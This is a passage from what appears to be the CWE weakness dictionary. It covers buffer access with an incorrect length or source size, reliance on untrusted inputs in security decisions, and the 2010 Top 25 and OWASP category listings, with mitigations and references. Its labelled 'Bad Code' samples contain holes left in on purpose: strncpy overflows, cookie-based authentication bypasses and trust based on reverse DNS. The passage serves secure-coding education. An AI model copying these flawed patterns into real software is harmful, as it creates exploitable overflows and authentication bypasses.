CVE-2010-4156	Language interpreter API function doesn't validate length argument, leading to information exposure
CVE-2011-0105	Chain: retrieval of length value from an uninitialized memory location
CVE-2011-0606	Crafted length value in document reader leads to buffer overflow
CVE-2011-0651	SSL server overflow when the sum of multiple length fields exceeds a given value
CVE-2011-1848	Use of packet length field to make a calculation, then copy into a fixed-size buffer
CVE-2011-1959	Chain: large length value causes buffer over-read (CWE-126)

**Potential Mitigations****Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.805.6], and the Strsafe.h library from Microsoft [R.805.7]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

**Build and Compilation****Compilation or Build Hardening****Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation**

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as `strncpy()`, be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Operation****Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.805.2] [R.805.4] and Position-Independent Executables (PIE) [R.805.10].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Operation****Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.805.3] [R.805.6].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.805.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

## Architecture and Design

### Operation

#### Sandbox or Jail

##### Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	☑	Page
ChildOf	🟢	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
ChildOf	🔴	740	CERT C Secure Coding Section 06 - Arrays (ARR)	<b>734</b>	1133
ChildOf	🔴	802	2010 Top 25 - Risky Resource Management	<b>800</b>	1228
ChildOf	🔴	867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>	1310
ChildOf	🔴	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	<b>868</b>	1313
CanFollow	🟡	130	Improper Handling of Length Parameter Inconsistency	1000	266
ParentOf	🟡	806	Buffer Access Using Size of Source Buffer	<b>699</b> <b>1000</b>	1236
MemberOf	☑	884	CWE Cross-section	<b>884</b>	1319

### Affected Resources

- Memory

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	ARR33-CPP	Guarantee that copies are made into storage of sufficient size
CERT C Secure Coding	ARR33-C	Guarantee that copies are made into storage of sufficient size

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
100	Overflow Buffers	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 6, "Why ACLs Are Important" Page 171. 2nd Edition. Microsoft. 2002.

[REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.

[REF-29] "PaX". < <http://en.wikipedia.org/wiki/PaX> >.



Jason Lam. "Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value". SANS Software Security Institute. 2010-03-11. < <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/> >.

[REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.

[REF-27] Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.

[REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

[REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-806: Buffer Access Using Size of Source Buffer

**Weakness ID:** 806 (*Weakness Variant*)

**Status:** Incomplete

### Description

#### Summary

The software uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.

#### Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C (*Sometimes*)
- C++ (*Sometimes*)

### Common Consequences

#### Availability

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

#### Access Control

#### Bypass protection mechanism

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

### Likelihood of Exploit

Medium to High

### Demonstrative Examples

#### Example 1:

In the following example, the source character string is copied to the dest character string using the method strncpy.

**C/C++ Example:***Bad Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to `strncpy` the source character string is used within the `sizeof` call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the `sizeof` call to ensure that the correct number of characters are copied, as shown below.

**C/C++ Example:***Good Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

**Example 2:**

In this example, the method `outputFilenameToLog` outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

**C++/C Example:***Bad Code*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, `strncpy`, mistakenly uses the `length` method argument to determine the number of characters to copy rather than using the size of the local character string, `buf`. This can lead to a buffer overflow if the number of characters contained in character string pointed to by `filename` is larger than the number of characters allowed for the local character string. The string copy method should use the `buf` character string within a `sizeof` call to ensure that only characters up to the size of the `buf` array are copied to avoid a buffer overflow, as shown below.

**C/C++ Example:***Good Code*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

**Potential Mitigations****Architecture and Design**

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viegas, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

**Build and Compilation**

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio / GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

**Implementation**

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

**Operation****Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.806.3] [R.806.5] and Position-Independent Executables (PIE) [R.806.7].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Operation****Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.806.5] [R.806.6].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

**Build and Compilation****Operation**

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	⊖	805	Buffer Access with Incorrect Length Value	699 1000	1230

**Affected Resources**

- Memory

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**References**

[REF-27] Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.

[REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.

[REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.

[REF-29] "PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-807: Reliance on Untrusted Inputs in a Security Decision

**Weakness ID:** 807 (*Weakness Base*)

**Status:** Incomplete

### Description

#### Summary

The application uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

#### Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Access Control

##### Availability

##### Other

##### Bypass protection mechanism

##### Gain privileges / assume identity

##### Varies by context

Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.

#### Likelihood of Exploit

Medium to High

## Detection Methods

### Manual Static Analysis

#### High

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

The effectiveness and speed of manual analysis will be reduced if there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

### Automated Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

### Manual Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

### Dynamic Analysis with automated results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

### Dynamic Analysis with manual results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

### Automated Static Analysis - Source Code

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

**Demonstrative Examples****Example 1:**

The following code excerpt reads a value from a browser cookie to determine the role of the user.

**Java Example:***Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

**Example 2:**

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

**PHP Example:***Bad Code*

```
$auth = $_COOKIES['authenticated'];
if (!$auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the \$auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

**Example 3:**

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

**Java Example:***Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

**Example 4:**

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

**C Example:***Bad Code*

```
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr = inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

**Java Example:***Bad Code*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

**C# Example:***Bad Code*

```
IPAddress hostIPAddress = IPAddress.Parse(RemotepAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

**Observed Examples**

Reference	Description
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1.
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK."
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value.
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.

**Potential Mitigations****Architecture and Design****Identify and Reduce Attack Surface**

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [R.807.2]. Apply this against the state or sensitive data that you have to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).



**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use a framework that maintains the state for you.

Examples include ASP.NET View State [R.807.3] and the OWASP ESAPI Session Management feature [R.807.4].

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Operation****Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Architecture and Design****Implementation****Identify and Reduce Attack Surface**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		254	Security Features	699	452
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		803	2010 Top 25 - Porous Defenses	800	1229
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	844	1297
ChildOf		866	2011 Top 25 - Porous Defenses	900	1309
ChildOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1316
ParentOf		302	<i>Authentication Bypass by Assumed-Immutable Data</i>	1000	533
ParentOf		350	<i>Reliance on Reverse DNS Resolution for a Security-Critical Action</i>	1000	608
ParentOf		784	<i>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</i>	1000	1202
MemberOf		884	CWE Cross-section	884	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	ENV03-CPP	Sanitize the environment when invoking external programs
CERT Java Secure Coding	SEC09-J	Do not base security checks on untrusted sources

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
232	Exploitation of Authorization	

## References

Frank Kim. "Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision". SANS Software Security Institute. 2010-03-05. < <http://blogs.sans.org/appsecstreetfighter/2010/03/05/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/> >.

[REF-30] "HMAC". Wikipedia. 2011-08-18. < <http://en.wikipedia.org/wiki/Hmac> >.

[REF-28] Scott Mitchell. "Understanding ASP.NET View State". Microsoft. 2004-05-15. < <http://msdn.microsoft.com/en-us/library/ms972976.aspx> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-808: 2010 Top 25 - Weaknesses On the Cusp

Category ID: 808 (Category) Status: Incomplete

## Description

## Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	800	91
ParentOf	B	134	Uncontrolled Format String	800	277
ParentOf	B	212	Improper Cross-boundary Removal of Sensitive Data	800	405
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	800	541
ParentOf	C	330	Use of Insufficiently Random Values	800	581
ParentOf	B	416	Use After Free	800	719
ParentOf	B	426	Untrusted Search Path	800	729
ParentOf	B	454	External Initialization of Trusted Variables or Data Stores	800	767
ParentOf	B	456	Missing Initialization of a Variable	800	770
ParentOf	B	476	NULL Pointer Dereference	800	798
ParentOf	B	672	Operation on a Resource after Expiration or Release	800	1039
ParentOf	B	681	Incorrect Conversion between Numeric Types	800	1058
ParentOf	B	749	Exposed Dangerous Method or Function	800	1138
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	800	1183
ParentOf	C	799	Improper Control of Interaction Frequency	800	1225
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	1227
ParentOf	B	804	Guessable CAPTCHA	800	1229

## References

"2010 CWE/SANS Top 25 Most Dangerous Programming Errors". 2010-02-04. < <http://cwe.mitre.org/top25> >.

## CWE-809: Weaknesses in OWASP Top Ten (2010)

View ID: 809 (View: Graph) Status: Incomplete

## Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2010.

## View Data

## View Metrics

	CWEs in this view		Total CWEs
Total	42	out of	1003
Views	0	out of	32

	CWEs in this view		Total CWEs
Categories	10	out of	244
Weaknesses	31	out of	719
Compound_Elements	1	out of	8

### View Audience

#### Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing a good starting point for web application developers who want to code more securely.

#### Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

#### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	810	OWASP Top Ten 2010 Category A1 - Injection	<b>809</b>	1245
HasMember	<b>C</b>	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)	<b>809</b>	1246
HasMember	<b>C</b>	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	<b>809</b>	1246
HasMember	<b>C</b>	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	<b>809</b>	1246
HasMember	<b>C</b>	814	OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)	<b>809</b>	1247
HasMember	<b>C</b>	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	<b>809</b>	1247
HasMember	<b>C</b>	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	<b>809</b>	1247
HasMember	<b>C</b>	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	<b>809</b>	1248
HasMember	<b>C</b>	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	<b>809</b>	1248
HasMember	<b>C</b>	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	<b>809</b>	1248

### Relationship Notes

The relationships in this view are a direct extraction of the CWE mappings that are in the 2010 OWASP document. CWE has changed since the release of that document.

### References

"Top 10 2010". OWASP. 2010-04-19. < [https://www.owasp.org/index.php/Category:OWASP\\_Top\\_Ten\\_Project#tab=OWASP\\_Top\\_10\\_for\\_2010](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2010) >.

## CWE-810: OWASP Top Ten 2010 Category A1 - Injection

Category ID: 810 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf	<b>B</b>	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	<b>809</b>	121
ParentOf	<b>B</b>	88	Argument Injection or Modification	<b>809</b>	155
ParentOf	<b>B</b>	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	<b>809</b>	159

Nature	Type	ID	Name		Page
ParentOf	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	809	169
ParentOf	B	91	XML Injection (aka Blind XPath Injection)	809	170
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	1244

**References**

OWASP. "Top 10 2010-A1-Injection". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A1-Injection](http://www.owasp.org/index.php/Top_10_2010-A1-Injection) >.

## CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)

**Category ID:** 811 (Category) **Status:** Incomplete

**Description****Summary**

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2010.

**Relationships**

Nature	Type	ID	Name		Page
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	809	131
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	1244

**References**

OWASP. "Top 10 2010-A2-Cross-Site Scripting (XSS)". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A2-Cross-Site\\_Scripting\\_%28XSS%29](http://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_%28XSS%29) >.

## CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management

**Category ID:** 812 (Category) **Status:** Incomplete

**Description****Summary**

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2010.

**Relationships**

Nature	Type	ID	Name		Page
ParentOf	G	287	Improper Authentication	809	507
ParentOf	V	306	Missing Authentication for Critical Function	809	537
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	809	541
ParentOf	B	798	Use of Hard-coded Credentials	809	1219
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	1244

**References**

OWASP. "Top 10 2010-A3-Broken Authentication and Session Management". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A3-Broken\\_Authentication\\_and\\_Session\\_Management](http://www.owasp.org/index.php/Top_10_2010-A3-Broken_Authentication_and_Session_Management) >.

## CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References

**Category ID:** 813 (Category) **Status:** Incomplete

**Description****Summary**

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2010.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	809	30
ParentOf		99	Improper Control of Resource Identifiers ('Resource Injection')	809	190
ParentOf		434	Unrestricted Upload of File with Dangerous Type	809	742
ParentOf		639	Authorization Bypass Through User-Controlled Key	809	988
MemberOf		809	Weaknesses in OWASP Top Ten (2010)	809	1244
ParentOf		829	Inclusion of Functionality from Untrusted Control Sphere	809	1262
ParentOf		862	Missing Authorization	809	1299
ParentOf		863	Incorrect Authorization	809	1304

#### References

OWASP. "Top 10 2010-A4-Insecure Direct Object References". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A4-Insecure\\_Direct\\_Object\\_References](http://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References) >.

## CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)

Category ID: 814 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2010.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		352	Cross-Site Request Forgery (CSRF)	809	611
